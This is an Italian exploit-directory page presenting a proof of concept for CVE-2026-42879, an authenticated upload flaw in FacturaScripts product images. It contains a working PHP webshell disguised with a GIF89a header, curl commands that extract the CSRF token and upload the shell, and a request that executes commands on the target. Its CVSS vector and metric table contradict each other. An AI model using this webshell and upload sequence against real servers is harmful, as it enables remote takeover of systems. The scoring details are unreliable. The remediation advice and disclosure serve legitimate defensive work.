Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42879 — # Exploit RCE per FacturaScripts - Proof of Concept | Kitploit
Strumenti/GitHubGitHub/guzrex/cve-2026-42879
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubguzrex/cve-2026-42879

CVE-2026-42879

# Exploit RCE per FacturaScripts - Proof of Concept

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42879 - FacturaScripts - Caricamento File Non Restrittivo Autenticato tramite Bypass del Tipo MIME

Riepilogo

Esiste una vulnerabilità di caricamento file non restrittivo autenticato nella funzionalità di caricamento immagini prodotto di FacturaScripts. Un attaccante con credenziali valide può caricare un file PHP camuffato da immagine GIF (utilizzando un header GIF89a), bypassando la validazione del tipo MIME. Il file viene salvato con la sua estensione originale, incluse estensioni eseguibili come .php.


Dettagli

La vulnerabilità esiste in:

Core/Lib/ExtendedController/ProductImagesTrait.php

Nello specifico nel metodo addImageAction().

Codice Vulnerabile

root@kitploit:~
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Scarica lo strumento

Causa Principale

  • La validazione controlla solo se il tipo MIME contiene "image/"
  • Può essere bypassata anteponendo i byte magici GIF89a a un file PHP
  • Il sistema identifica erroneamente il file come image/gif
  • Il file viene salvato con estensione .php in una directory accessibile via web

Comportamento di Archiviazione dei File

I file caricati vengono salvati in:

root@kitploit:~
/MyFiles/YYYY/MM/X.php

Dove X è un ID auto-incrementale. Ciò consente l'esecuzione remota diretta:

root@kitploit:~
http://target/MyFiles/2026/03/2.php?cmd=id

Impatto

Lo sfruttamento riuscito consente:

Un attaccante può caricare file con estensioni eseguibili (es. .php) sul server, che a seconda della configurazione del server potrebbe portare a ulteriori sfruttamenti.

Proof of Concept (Manuale)

Passo 1: Creare il file dannoso

root@kitploit:~
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Passo 2: Autenticarsi

  • Accedere all'applicazione
  • Estrarre PHPSESSID dai cookie del browser

Passo 3: Ottenere il token CSRF

root@kitploit:~
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Passo 4: Caricare la shell

root@kitploit:~
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

Passo 5: Eseguire il comando

root@kitploit:~
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N Punteggio Base: 6.3 (Moderato)

MetricaValore
Vettore di AttaccoRete (AV:N)
Complessità di AttaccoBassa (AC:L)
Privilegi RichiestiBassi (PR:L)
Interazione UtenteNessuna (UI:N)
ScopeModificato (S:C)
RiservatezzaAlta (C:H)
IntegritàAlta (I:H)
DisponibilitàAlta (A:H)

CWE

  • CWE-434: Caricamento Non Restrittivo di File con Tipo Pericoloso

Prodotti Interessati

CampoValore
EcosistemaPackagist
ID CVECVE-2026-42879
Nome Pacchettofacturascripts/facturascripts
Versioni Interessate<= 2025.81
Versioni CorretteNon ancora corrette
Corretto inIn sospeso

Raccomandazioni di Rimedio

  1. Validare l'estensione del file — rifiutare qualsiasi caricamento in cui il nome del file termina con .php, .phtml, .phar o altre estensioni eseguibili, indipendentemente dal tipo MIME
  2. Rigenerare i nomi dei file sul server — non utilizzare mai getClientOriginalName(); assegnare un nome sicuro basato su UUID con un'estensione validata
  3. Archiviare i caricamenti fuori dalla webroot — servire i file tramite un controller che trasmette il contenuto, impedendo l'esecuzione diretta tramite URL
  4. Utilizzare una libreria per i tipi di file — validare il contenuto effettivo del file (byte magici + estensione + tipo MIME) con una libreria come fileinfo invece di fidarsi del MIME fornito dal client

Crediti

  • Scopritore: Abdullah Alwasabei / Guzrex